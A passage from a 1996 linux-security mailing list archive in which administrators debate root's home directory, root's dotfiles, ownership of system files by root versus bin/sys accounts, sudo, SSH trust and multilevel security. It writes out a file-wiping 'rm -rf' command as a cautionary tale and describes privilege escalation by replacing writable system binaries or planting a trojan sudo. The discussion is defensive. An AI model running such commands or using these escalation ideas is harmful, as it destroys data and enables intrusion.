Joe Yao [email protected] - Joseph S. D. Yao From [email protected] Mon Jun 10 14:56:34 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id OAA13776; Mon, 10 Jun 1996 14:56:34 -0400 Date: Mon, 10 Jun 1996 14:55:05 -0400 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected] Subject: [linux-security] Admin note (recent traffic surge). X-Palindrome: If I had a hi-fi. X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- I realize that there has been a sudden surge in linux-security traffic. The reasons for this are: 1) A backlog caused by my being both very busy and out of town a bit recently; I'm basically "batch approving" the last several days' messages to the list to clear the backlog. 2) A thread with highly "religious" and contentious aspects: uid/gid ownership of system files, configuration of the root account, etc.... Regarding 1): Once I've cleared the backlog hopefully things will return to normal. Regarding 2): I'm going to approve/forward most of the rest of the pending messages on this thread (there are still several), mainly so that everyone can see and digest all of the issues, opinions, etc., that people have and thus be better informed when developing their own personal approaches. I think it's fairly safe to say that most everyone already has a slightly different approach to this, that there is no "One True Answer," and that this thread is a good (though voluminous!) "airing out" of these different ideas and opinions. Thanks for your patience! - --Up. - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | [email protected] PGP key available at: http://www.cv.nrao.edu/~juphoff/ -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Processed by Mailcrypt 3.2, an Emacs/PGP interface iQCVAwUBMbxvX3oDqzGe1QXFAQFiWQP/SUGYQxPMK7dAkNyyJHeTm0SzA5UWs+kv 2Jl4gILIx3AbaKYSsn1me5R8ylnz+WMuW0iVYdGq6ClQuKs7piyIQYdUJmeRBcBj +am9X8gTqjBFXBzYlYQfUhh+2yiEyOr4+mfmDdH2MuWOWExvDjr2dJkgX3DeMeyk hePkS4veSQc= =rQ0m -----END PGP SIGNATURE----- linux-security/linux-security.960611100664 1767 1767 114661 6157334670 16705 0ustar majdommajdomFrom [email protected] Tue Jun 11 11:13:49 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id LAA29227; Tue, 11 Jun 1996 11:13:49 -0400 X-Mailer: exmh version 1.6.7 96/05/03+cl To: shaggenbunsenburner cc: Richard Black , "Jeffrey J. Radice" , [email protected], [email protected] Subject: Re: [linux-security] standard users,groups,perms? In-reply-to: Your message of "Thu, 06 Jun 1996 17:57:06 EDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 07 Jun 1996 13:34:18 +0100 From: Richard Black Message-Id: Sender: [email protected] Precedence: list > Since root tends to > store at least some files in her account, it seems to make sense to have > those files in a special directory, and not cluttering up the / > directory. I also would rather not have my users seeing any of my files, > whether they can read them or not. Exactly my point, another example of the "local administrator" mentality ("root's files" == "my files"). Root has exactly two files. They are .profile which is publically readable because thats what users get when they log in and their home directory is unavailable (e.g. filesever down). And .rhosts which is a copy/link of /etc/hosts.equiv which allows the machine to be administered. I dont regard two (dot) files as clutter. > > Judd Bourgeois | When we are planning for posterity, > [email protected] | we ought to remember that virtue is > Finger for PGP key | not hereditary. Thomas Paine > > > Richard. From [email protected] Tue Jun 11 11:14:20 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id LAA29247; Tue, 11 Jun 1996 11:14:20 -0400 Date: Fri, 7 Jun 1996 18:06:10 -0400 From: "Joseph S. D. Yao" Message-Id: <[email protected]> To: [email protected], [email protected] Subject: Re: [linux-security] standard users,groups,perms? Cc: [email protected] Sender: [email protected] Precedence: list > "Joseph S. D. Yao wrote:" > > I always insist that absolutely nothing at all whatsoever on the file > > system be owned by root. ... > From a security point of view I do not think this is a wise guideline. > By introducing more accounts the number of weak links is increased, > there is less support from the kernel to protect these accounts, an > people are more careless ``because it is not the root account'' Security is a people problem first, a technical problem second. TELL them that those accounts' passwords must be protected the same, and don't EVER let them think otherwise. Make the mystique around, not "root", but "root & bin & sys & adm" (or whatever). > What is the point ? do not let someone's helpers cousin's neighbors edit > your password file :-) Indeed ... that is an additional point one can gain from the tale. Joe Yao [email protected] - Joseph S. D. Yao From [email protected] Tue Jun 11 11:15:29 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id LAA29267; Tue, 11 Jun 1996 11:15:29 -0400 Date: Fri, 7 Jun 1996 16:31:03 -0700 From: Andy Burgess Message-Id: <[email protected]> To: [email protected] Subject: Re: [linux-security] SSL Reply-To: [email protected] Sender: [email protected] Precedence: list [Mod: Quoting trimmed. --Jeff.] >ssh is a slightly different tool but has these features. US citizens can >get it from finland but do need to read the documentation to disable certain >items before their Government will allow them to use it (patent hooha as usual) SSH also does compression before encrypting, very important for modem users. Encrypted data is generally not compressable so your modem throughput is reduced with SSL and may be increased with SSH as it uses gzip type compression which is better than what the modem hardware can do. -- Best regards, Andy Burgess [email protected] From [email protected] Tue Jun 11 11:15:51 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id LAA29283; Tue, 11 Jun 1996 11:15:51 -0400 Date: Sat, 8 Jun 1996 05:29:31 -0600 (MDT) From: Adam Prato To: "Jeffrey J. Radice" Cc: [email protected] Subject: Re: [linux-security] standard users,groups,perms? In-Reply-To: <[email protected]> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Tue, 4 Jun 1996, Jeffrey J. Radice wrote: > most things simply root.wheel owned, or is there any benefit to splitting > ownership into different levels of access? Is there anything I've left > out? I also would like further information about standard permissions. I dont know if this is a blanket statement and not an entirely worthwhile idea, but IMO, I dont see why any 'system' executable should be owned by anything other than root. Any 'special' access should have group executable / (directory)writeable permissions. I've found many ways on many os's to get elevated privilege, such as bin/sys privileges, and since system files (ie, /usr and above, /sbin, /bin) were group/user writeable by other than root, it is possible to replace these executables with your own executables. If root ever runs this executable, then you can get root privileges. I apologize for any gramatical errors, or if this little opinion of mine wasn't entirely eloquent, but its late and I need sleep Adam From [email protected] Tue Jun 11 11:16:06 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id LAA29299; Tue, 11 Jun 1996 11:16:06 -0400 Date: Sat, 8 Jun 1996 05:31:32 -0600 (MDT) From: Adam Prato To: "Joseph S. D. Yao" Cc: [email protected], [email protected] Subject: Re: [linux-security] standard users,groups,perms? In-Reply-To: <[email protected]> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Wed, 5 Jun 1996, Joseph S. D. Yao wrote: > I always insist that absolutely nothing at all whatsoever on the file > system be owned by root. Nothing. At all. Unless there is no other > way to do it (whatever the "it" might be). There should be a small set > of accounts whose passwords are protected equally as well as root's, > that are used for maintaining the various parts of the system. These > would be, e.g., bin, sys, adm, daemon, kmem, mail, uucp, lp, games, > field, etc. Directories and files - ESPECIALLY setuid programs (and > more of those should be setgid) - should be owned by one of these, and > NOT by root. This would reduce immensely the number of times that it > would be "necessary" to be root to perform some task or other; and thus > the number of windows of opportunity for certain types of attack - and > for simple mistakes. I dont see how root 'ownership' plays into this. The owner of a file means that this userid is the only one who can make changes to the file itself. Could you please explain the benefits of not having root owned files on a system? This concept seems to elude me. Adam From [email protected] Tue Jun 11 11:16:55 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id LAA29315; Tue, 11 Jun 1996 11:16:55 -0400 Date: Mon, 10 Jun 1996 13:44:03 -0400 From: "Joseph S. D. Yao" Message-Id: <[email protected]> To: [email protected], [email protected] Subject: Re: [linux-security] standard users,groups,perms? Cc: [email protected], [email protected] Sender: [email protected] Precedence: list > Date: Sat, 8 Jun 1996 05:31:32 -0600 (MDT) > From: Adam Prato > Subject: Re: [linux-security] standard users,groups,perms? > I dont see how root 'ownership' plays into this. The owner of a file means > that this userid is the only one who can make changes to the file itself. > Could you please explain the benefits of not having root owned files on a > system? This concept seems to elude me. Not true: the super-user account, which in recent (last 20 years ;-)) versions of Unix has been called "root", has all reasonable accesses to a regular file on a regular disk file system, even though it might not "own" the file. Hence some people fall into the trap of doing everything su'ed to or logged in as "root". Hence all files thus created or copied become owned by root. Which then seems to be the natural order of things for these people. Since all things are owned by root, they and their successors then get into or stay in the habit of doing all things su'ed to or logged in as "root". And when they accidentally do, from the directory they thought was /tmp but is really /, an "rm -rf .[A-Za-z]* *", all they can say is "well, it couldn't be helped." The same when they copy a file into /dev/hda. The same when they do anything which a sane set of permissions and user/group "ownership"s might have prevented, but which ownership by "root" and thus, necessarily, modification as "root" does little to prevent. This is what I try to prevent by making things not owned by "root". It's not that they are owned by "root" that causes me grief. It's that people then have to do maintenance to them as "root". And, yes, if you have to routinely distribute tasks in a fixed and predictable manner, then tools such as 'sudo' help. If you trust them. [;-)/2] Joe Yao [email protected] - Joseph S. D. Yao From [email protected] Tue Jun 11 11:25:44 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id LAA29416; Tue, 11 Jun 1996 11:25:44 -0400 Date: Tue, 11 Jun 1996 09:49:05 -0400 (EDT) From: Tom Briggs To: [email protected] Subject: Re: [linux-security] standard users,groups,perms? In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list The discussion regarding apropriate users, groups, file locations, etc, is really quite philosophical in nature. To suggest that the security setup for a UNIX system that handles thousands of users in a class C2 secure setup (or higher, SCO now supports B grade security) should be the same setup as a UNIX system that handles a hacker or two on their own home PC is ridiculous. First off, for the higher grades of security, (B grade specifically), you cannot have a single all-powerful superuser, the superuser needs to have restrictions. That is the idea of the Wheel oligarchy introduced in System V Release 4. BSD-ish systems have been very sluggish to implement the enhanched suite of security SVR4 provides. Under this arrangement, a well administered system has sub-system managers, for example, a mail manager, a system manager, a uucp manager, and network manager, and database manager, etc, etc, etc. These managers have the ability to work in their own file areas (example, the database manager has the ability to be "super-database user"), and they often have access to a select subset of files using the wheel super-group. (instead of su, sg). These subsystems have applications which, in a perfect world, may need to be setuid to root, but the applications themselves do what they need as root, and then set control back to their own proper subsytems. This is a proper arrangement for a system that costs millions of dollars, has 5+ administrators, and is mission critical to a multi-million dollar enterprise, and would probably not be running on PC class machines. Linux' security, while good, is not fool proof, and the argument about where root's home directory is, is trivial in comparision to some of the other large scale holes in the system. Having used some large System V machines, and some suns, and DECs, and MIPS, and some AIX machines, I must say, Sun's decision to lump everything into "/" is probably one of the stupidest decisions I've ever heard of. Sun's target is high end work stations, and some medium grade servers. They generally have one or two users as admins, and the need to split up security across many users is minimal (I don't think Solaris even counts as a B grade secure systems, does it even count as C2?) So, there will probably be one and only one user as admin, and then its apropriate to have a super-user "root." Since that admin will often use the "root" account, its also proper *not* to have that account in "/", since on a Sun, "/" is normally quite a small parition ( 3 different Sun reps suggested <20MB). Thats pitiful. Anyway, its rather quite aproprite to have /root somewhere where there is disk space. The comment about having /root on the root partition is also wrong. My theory on this is as follows: if the system absolutely needs a binary to startup, then it should be in /sbin, or /etc, or wherever the other required binaries are, not /root. How easy is it for a human being ( yes, human beings are system administrators, and thus, make mistakes), to remove a file without *really* thinking about what that file is. I don't think I've ever really purged anything in /sbin before, I know I've housecleaned /root, and I've deleted things I wish I hadn't, but nothing that affects system stability. ---------------------------- Tom Briggs, Library Automated Systems Manager, Ezra Lehman Memorial Library, Shippensburg University From [email protected] Tue Jun 11 11:26:50 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id LAA29432; Tue, 11 Jun 1996 11:26:50 -0400 Message-Id: <[email protected]> Subject: Re: [linux-security] standard users,groups,perms? To: [email protected] (G.J.W. Hagenaars) Date: Tue, 11 Jun 1996 09:10:59 +0200 (METDST) Cc: [email protected] In-Reply-To: <[email protected]> from "G.J.W. Hagenaars" at Jun 6, 96 01:19:59 pm From: [email protected] (Rogier Wolff) X-Return-Receipt-To: [email protected] X-Priority: 1 X-Mailer: ELM [version 2.4 PL25] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1051 Sender: [email protected] Precedence: list > So you install and maintain sudo. That way you give specific root > privileges to certain programs, to be invoked by certain users only. As > an added benefit, it gives you logging too. Oh, simply getting a shell > in someone else's name doesn't work with sudo; you still need the > user's password to do something useful. This makes me angry. Simply getting a shell in someone elses name ALWAYS gets you his privileges. In the case of having to go through sudo, you might have to install a trojan "sudo" in his account to do it..... But having shell access to someone's account is "enough" to gain his privileges. A cracker builds up a suitable toolset and trickset to do this kind of thing unobtrusively over time.... Roger. -- ** Q: What's the difference between MicroSoft Windows and a virus? ** ** A: Apart from the fact that virusses install easier, none. ** ** EMail: [email protected] * Tel +31-15-2783643 or +31-15-2137459 ** *** my own homepage *** From [email protected] Tue Jun 11 11:27:12 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id LAA29448; Tue, 11 Jun 1996 11:27:12 -0400 From: "Matthew J. Hill" Message-Id: <[email protected]> Subject: Re: [linux-security] standard users,groups,perms? To: [email protected] Date: Mon, 10 Jun 1996 21:34:57 -0400 (EDT) In-Reply-To: <[email protected]> from "Tomasz Surmacz" at Jun 7, 96 00:33:12 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > Why? Does root's home directory really need to be / ? It's really > annoying to have all those /Mail, /.cshrc, /.profile, /.exrc, /.history > (etc.) files and directories, don't you think so? If root's home is > something else than / you may also do 'chmod 700 ~root' and stop users > from sniffing around root's working environment. It really is much > safer to arrange things that way [1]. i think this brings up another important security issue, perhaps not quite so linux-related, but relevant nonetheless. why does root have Mail, .cshrc, .profile, etc. files? there is no reason for this. in fact, i think it can be a *big* detriment in some cases. people *have* to remember that root is *not* a user account, and there fore should not have any user files. root is a thing, not a person, a way of doing things that cannot be done any other way. root's mail should be aliased to the sysadmin. root should never be in a mailer, a newsreader, or any other program it doesn't have to use to maintain the system. this basically amounts to mv, cp, ln, ch[own,mod,grp] and a few others. > I personally use /root as root's home not only on Linux, but also on all > other unixes I am in charge of, like SunOS, Solaris or IRIX. With no > side-effects at all (the only thing you should care in such a setup is > that ~root should really be on the root partition, ie. not /home/root > if /home is a separate one - otherwise, when problems arise, you > may have twice as much of them.) another, equally important issue, is the use of dotfiles. root shouldn't have any. *any.* since root's shell should be /bin/sh, .cshrc does you no good. and .profile can only muck things up... having anything other than /usr/bin:/usr/sbin in your path can be a security hole, root shouldn't have aliases, environment variables can be set by hand after you log in. fancy prompts and "alias rm='rm -i'" can only muck things up, espically if multiple users share the root account. root also doesn't need to have personal filespace... remember the whole filesystem is his personal files space. old .tar.gz files can be stored in /usr/local/src, etc etc... and remember, root should not be too comfortable. if you have to type /usr/local/sbin/my_strange_script all the time, you're less apt to run the wrong one by accident. plus, the less time you spend as root, the better. > Well, whatever the partitioning system is, if you just put '/' in front > of the path or file name, it will bring you whatever you really want to. > Using relative paths when doing something remotly is never a good idea. > > Tomasz > > [1] BTW. I once had to clean the mess after the wanna-be system > administrator, who after discovering that root's home was /root (on a > solaris box) first moved all the files from there to /, then changed > ~root to /, then 'chmod 700 ~root'. Finding it out over a phone was > not a trivial task (yes, you guessed it, nobody except root could log > in, and root could not log in over the net of course...). sounds horrible. couldn't we all avoid this type of stuff by (1) keeping the root password out of the hands of morons, and (2) putting the root of the filesystem where it ought to be. on my linux boxen, i usually move root's home dir to / pretty early on. helps keep me out of bad habits, too. > > -- > _________ > (_ _' __) Tomasz R. Surmacz *---* Work:(071)202636, [email protected] > | (__ \ http://www.ict.pwr.wroc.pl/~tsurmacz/ *----* Home: [email protected] > |__(____/ For PGP key finger [email protected] *---* irc: TomekS > -- Matthew Hill [email protected] From [email protected] Tue Jun 11 11:27:27 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id LAA29470; Tue, 11 Jun 1996 11:27:27 -0400 Subject: Re: [linux-security] standard users,groups,perms? To: [email protected] (Fabrizio Giudici) Date: Mon, 10 Jun 1996 16:51:10 -0700 (PDT) Cc: [email protected] In-Reply-To: <[email protected]> from Fabrizio Giudici at "Jun 7, 96 01:16:46 pm" X-Mailer: ELM [version 2.4ME+ PL16 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 696 Message-Id: From: John Henders Sender: [email protected] Precedence: list Fabrizio Giudici writes: > above-mentioned topics, is there any major problem in putting root's home > into /root? I have to say that at that time I created /root directories even > in Sun and HP machines... and they worked fine... ;-) It's the default on BSDI, and a few other varieties I've worked on. I prefer it for the various reasons mentioned. I suppose if all the other machines in a mixed environment used / it might be annoying, but there's certainly no standard, from what I've seen. -- Artificial Intelligence stands no chance against Natural Stupidity. GAT d- -p+(--) c++++ l++ u++ t- m--- W--- !v b+++ e* s-/+ n-(?) h++ f+g+ w+++ y* From [email protected] Tue Jun 11 11:28:01 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id LAA29487; Tue, 11 Jun 1996 11:28:01 -0400 Date: Mon, 10 Jun 1996 13:54:13 -0600 (MDT) From: Adam Prato To: "Joseph S. D. Yao" Cc: [email protected], [email protected], [email protected] Subject: Re: [linux-security] standard users,groups,perms? In-Reply-To: <[email protected]> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Mon, 10 Jun 1996, Joseph S. D. Yao wrote: > > Not true: the super-user account, which in recent (last 20 years ;-)) > versions of Unix has been called "root", has all reasonable accesses to > a regular file on a regular disk file system, even though it might not > "own" the file. > > Hence some people fall into the trap of doing everything su'ed to or > logged in as "root". > > Hence all files thus created or copied become owned by root. > > Which then seems to be the natural order of things for these people. > > Since all things are owned by root, they and their successors then get > into or stay in the habit of doing all things su'ed to or logged in as > "root". > > And when they accidentally do, from the directory they thought was /tmp > but is really /, an "rm -rf .[A-Za-z]* *", all they can say is "well, > it couldn't be helped." > > The same when they copy a file into /dev/hda. > > The same when they do anything which a sane set of permissions and > user/group "ownership"s might have prevented, but which ownership by > "root" and thus, necessarily, modification as "root" does little to > prevent. > > This is what I try to prevent by making things not owned by "root". > It's not that they are owned by "root" that causes me grief. It's that > people then have to do maintenance to them as "root". > > And, yes, if you have to routinely distribute tasks in a fixed and > predictable manner, then tools such as 'sudo' help. If you trust them. > [;-)/2] I see, you've made some very good points and I totally agree with you. However I'm still entitled to my opinion for one :). But in addition to your philosophy, wouldnt it be appropriate to have separate classes of files? I still believe that all internal system files should be owned by the root user, programs such as inetd services, and anything that gets executed with root privileges should be owned by root, any user that has less privileges (bin, sys, daemon, regular users). Secondly, any files that need to be modified on occasion that are not system level config files per se (inetd.conf, /etc/crontab, whatever) should either be either owned by special users or group writeable. Especially if an important system file must be changed by running a specific command and typing a password over the network. Well, as we try and develop the ultimate security profile, we will undoubtedly go our own ways. But thanks for the feedback regarding your own ideas and experience. Adam From [email protected] Tue Jun 11 11:34:59 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id LAA29591; Tue, 11 Jun 1996 11:34:59 -0400 Date: Tue, 11 Jun 1996 10:21:12 -0500 From: Jesse Pollard Message-Id: <199606111521.KAA13808@us1> To: [email protected] Subject: Re: [linux-security] standard users,groups,perms? In-Reply-To: Mail from 'shaggenbunsenburner ' dated: Thu, 6 Jun 1996 17:47:28 -0400 (EDT) Sender: [email protected] Precedence: list From: shaggenbunsenburner >> > Recently, at a site whose administrator is in our local SAGE chapter, >> > someone's helper edited the /etc/password file and accidentally altered >> > the super-user password. The /etc/password file was owned by root. It >> > couldn't be fixed without resorting to booting a stand-alone system in >> > a memory disk from the installation media. That took a while - and an >> > appeal to the mailing list - to come up with. Needless. >> >> What is the point ? do not let someone's helpers cousin's neighbors edit >> your password file :-) > >hahaha :) My question is, how would spreading the superuser privilege >have avoided this disaster? The user having partial root privileges would not have been able to prevent root from logging in. This has happened to me several times (usually an utility bug of my own creation). I permit a small list of users the ability to create user logins. These users cannot modify any uid less than 99, and cannot modify the /etc/password file at all. These users access the NIS maps which are NOT part of the /etc/passwd file. This has worked very well for about 2000 users, across 10 SGI servers and workstations. Root does own the files. The edit functions are implemented via a setuid program that only permits the edit functions on internally defined files (the NIS password and group files). The functions also create backup files, and a single level undo capability. As far as other root functions - consider Cray UNICOS (yeah I know, you cant get one for the house). This system support multi-level security and is one of the most security-aware systems I know (out of HP/UX, Sun Compartmented mode workstation, and Trusted IRIX). On this system, root is just a user. No special priveleges other than file ownership. Even then the files cannot be modified by root unless 1. proper compartment (similar to a group ID, but is separate) 2. proper level (no comparison available) 3. The file must not have security flags that prevent modification (No, root cannot modify these flags). Security is controlled by a security administrator (secadm). In this sense it is like root, but does not own any of the system files (security configuration files excluded). In addition - if secadm attempts to modify restricted files, the login must satisfy items 1,2 and 3. It IS possible for secadm to alter item 3. At this point UNIX security comes into play. It is not possible for file modification to be done without also becoming root. It is even necessary for root to grant the secadm the privilege (usually by the normal group access) to read the security logs. Security levels (item 2) provide protection by controlling access to the various files by: level used for example syshigh always to be trusted shadow password file 15 . user files at various levels . 0 syslow required files and programs to be /etc/passwd file protected passwd, login ... These levels have the following restriction: if the level of a file is equal to or less than that of the process attempting to READ it then use UNIX security for access control. if the level of a file is equal to that of the process attempting to WRITE it then use UNIX security for access control. if the level of a file is higher than that of the process then access is denied unless the security flags assigned to the process permit access. A process gains security flags by executing an image marked syslow, with the necessary security flags. A sample of this is the password program that must gain write access to the shadow password file. There are no processes or users that can get the "syshigh" or "syslow" levels. These are outside permitted active processes and only exist on disk. Since all processes must then be between 0-15, access to system files is denied. Yes, this does make system updates difficult. But - like most sites, these rules are not completely enforced (when they are the system is called "Trusted" UNICOS). The levels are present, violations are logged, but not prevented from those logins with security override flags enabled. Of course, that can make these logins equivalent to root, even so - they are not quite as powerful as normal root logins. In "Trusted" UNICOS, system and security updates can only be done at single user level (no networks, no users other than the now all powerful root...) Even having the security administrators password does not get root. A lot of damage CAN be done, but it requires secadm, root, daemon, ... passwords to get them, and although secadm can change these passwords, the system starts to shut itself down when security violations occur too frequently (3 login failures in a row, within a minute, disable the account - even root). It is this layering of security that protects the system. So much for my rambling. This is only an outline (doesn't get into access control lists) and is incomplete, but does show some of the "spreading" around of "root" privileges. Jesse Pollard [email protected] From [email protected] Tue Jun 11 12:13:36 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id MAA30129; Tue, 11 Jun 1996 12:13:36 -0400 Date: Tue, 11 Jun 1996 12:12:29 -0400 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected] CC: "Matthew J. Hill" Subject: Re: [linux-security] standard users,groups,perms? In-Reply-To: Your message of Mon, June 10, 1996 21:34:57 -0400 References: <[email protected]> <[email protected]> X-Palindrome: DNA-land. X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list "MJH" == Matthew J Hill writes: MJH> another, equally important issue, is the use of dotfiles. root MJH> shouldn't have any. *any.* This is getting heavily into the realm of religion, but I have to mildly disagree here; one example of a very useful dotfile (well...directory, in this case): ~root/.ssh/ Oftentimes, due to locally-determined conditions (commonly found in medium-to-large site installations), root on one system *must* trust root on another (e.g. for certain types of backups, rdist jobs, and the like). I'd much rather define that trust in terms of a (possibly passphrase-protected) SSH key than a vanilla .rhosts file, for obvious reasons. SSH's encrypted connection is a nice side benefit as well.... MJH> fancy prompts and "alias rm='rm -i'" can only muck things up, MJH> espically if multiple users share the root account. A bit of disagreement here too: I find a prompt that really stands out and SHOUTS a constant reminder that the uid is 0 to be A Good Thing. --Up. -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | [email protected] PGP key available at: http://www.cv.nrao.edu/~juphoff/ From [email protected] Tue Jun 11 14:23:20 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id OAA32280; Tue, 11 Jun 1996 14:23:20 -0400 Message-Id: <[email protected]> To: [email protected] Cc: Tom Briggs Subject: Re: [linux-security] standard users,groups,perms? In-reply-to: Your message of "Tue, 11 Jun 1996 09:49:05 EDT." Date: Tue, 11 Jun 1996 13:59:04 -0400 From: "Alexander O. Yuriev" Sender: [email protected] Precedence: list Your message dated: Tue, 11 Jun 1996 09:49:05 EDT > The discussion regarding apropriate users, groups, file locations, etc, is > really quite philosophical in nature. To suggest that the security setup > for a UNIX system that handles thousands of users in a class C2 secure > setup (or higher, SCO now supports B grade security) should be the same > setup as a UNIX system that handles a hacker or two on their own home PC > is ridiculous. Last time I checked (May 17th 1996) SCO did not have certification for B level. SCO claim to provide security level comparable to B ( DEC has the same claim for new OSF security package) > First off, for the higher grades of security, (B grade specifically), you > cannot have a single all-powerful superuser, the superuser needs to have > restrictions. That is the idea of the Wheel oligarchy introduced in > System V Release 4. BSD-ish systems have been very sluggish to implement > the enhanched suite of security SVR4 provides. This is mostly incorrect statement. The difference between B and C levels of security is presence of *compartments* on B levels, identification and detection of the maximum bandwidth of covert channels for B1, their removal for B2 and above. [Ref: Orange Book ; "UNIX System Security" Matt Bishop] One of priviledges that superuser does have is a priviledge to set priviledges which creates a perfect opportunity to compromise TCB and compartment system. Consider: Root creates a new System Security Officer. A new System Security Officer modifies compartment access for other system security officers from "read-write-modify-create-delete" to "no-access", modifies access for super user from "create-delete" to "read-write-modify-create-delete". Now super user becomes SSO. SSO has permission to set access for "sub-system managers". > > Under this arrangement, a well administered system has sub-system > managers, for example, a mail manager, a system manager, a uucp manager, > and network manager, and database manager, etc, etc, etc. These managers > have the ability to work in their own file areas (example, the database > manager has the ability to be "super-database user"), and they often have > access to a select subset of files using the wheel super-group. (instead > of su, sg). These subsystems have applications which, in a perfect world, > may need to be setuid to root, but the applications themselves do what > they need as root, and then set control back to their own proper > subsytems. > Sun's target is high end work stations, and some medium grade servers. > They generally have one or two users as admins, and the need to split up > security across many users is minimal (I don't think Solaris even counts > as a B grade secure systems, does it even count as C2?) So, there will > probably be one and only one user as admin, and then its apropriate to > have a super-user "root." Since that admin will often use the "root" > account, its also proper *not* to have that account in "/", since on a > Sun, "/" is normally quite a small parition ( 3 different Sun reps > suggested <20MB). Thats pitiful. Anyway, its rather quite aproprite to > have /root somewhere where there is disk space. None of the systems that has BSD-type /etc/passwd or BSD type 'r'-type servers can be considered even C1 secure as one of the fundamential requirements for C1 is *required* authentication. Best wishes, Alex From [email protected] Tue Jun 11 14:23:37 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id OAA32304; Tue, 11 Jun 1996 14:23:37 -0400 Message-Id: <[email protected]> Subject: Re: [linux-security] standard users,groups,perms? To: [email protected] Date: Tue, 11 Jun 1996 18:11:30 +0200 (MET DST) In-Reply-To: <[email protected]> from "Joseph S. D. Yao" at Jun 10, 96 01:44:03 pm From: [email protected] (Rogier Wolff) X-Return-receipt-to: [email protected] X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1268 Sender: [email protected] Precedence: list Instead of continuing this thread with personal preferences as "I don't like roots homedir to be / or /root" and (currently) security-unwise statements like "bin should be the owner of the binaries", I'd like to make a suggestion. The "Almighty" "root" account has lots of privileges. (override filesystem permissions, access to IO ports, etc etc.). This should be abolished. To do this, every uid should get a bitvector of privileges. Every "suser()" call in the kernel should get mapped to one of the bits. The default setup sets all of these bits to "enabled" for "root" and "disabled" for all other users. A secure setup would deminish the vector for "root"(?) and increase it for other users. (e.g. the "bind to low ports" bit and the "change uid to normal uids" bit should be on for "sendmail" running as user "mailerdeamon") The login program only needs change_uid (even to root? Maybe not. Abolish root logins!) An interface for setting this info should be thought out. I generally prefer something by writing to /proc files, but most things are currenlty implemented through ioctls (although Linus says he hates them....) Someone needs to implement this. I'd recommend an 80 hour lab-assignment for an OS class for this job...... Roger. linux-security/linux-security.960612100664 1767 1767 64320 6157640600 16653 0ustar majdommajdomFrom [email protected] Wed Jun 12 17:44:40 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id RAA01201; Wed, 12 Jun 1996 17:44:40 -0400 >Received: (from ts@localhost) by papaja.wroc.apk.net (8.7.5/8.7.3/ts-p.960325) id CAA00630 for [email protected]; Wed, 12 Jun 1996 02:21:31 +0200 From: Tomasz Surmacz Message-Id: <[email protected]> Subject: Re: [linux-security] standard users,groups,perms? To: [email protected] Date: Wed, 12 Jun 1996 02:21:30 +0200 (MET DST) In-Reply-To: <[email protected]> from "Matthew J. Hill" at Jun 10, 96 09:34:57 pm Organization: Just me at home X-Mailer: ELM [version 2.4 PL24 ME7] Content-Type: text Sender: [email protected] Precedence: list [Mod: This is starting to get "what if"'d to death. IMHO, it's time to wind this thread down; everyone has their own approaches, and will tend to stick with the one that's most comfortable/usable.... --Jeff.] [email protected] (Matthew J. Hill) quoted me: > > > Why? Does root's home directory really need to be / ? It's really > > annoying to have all those /Mail, /.cshrc, /.profile, /.exrc, /.history ... > i think this brings up another important security issue, perhaps not quite > so linux-related, but relevant nonetheless. why does root have Mail, > .cshrc, .profile, etc. files? there is no reason for this. in fact, i Well... there are some. - Sometimes, you 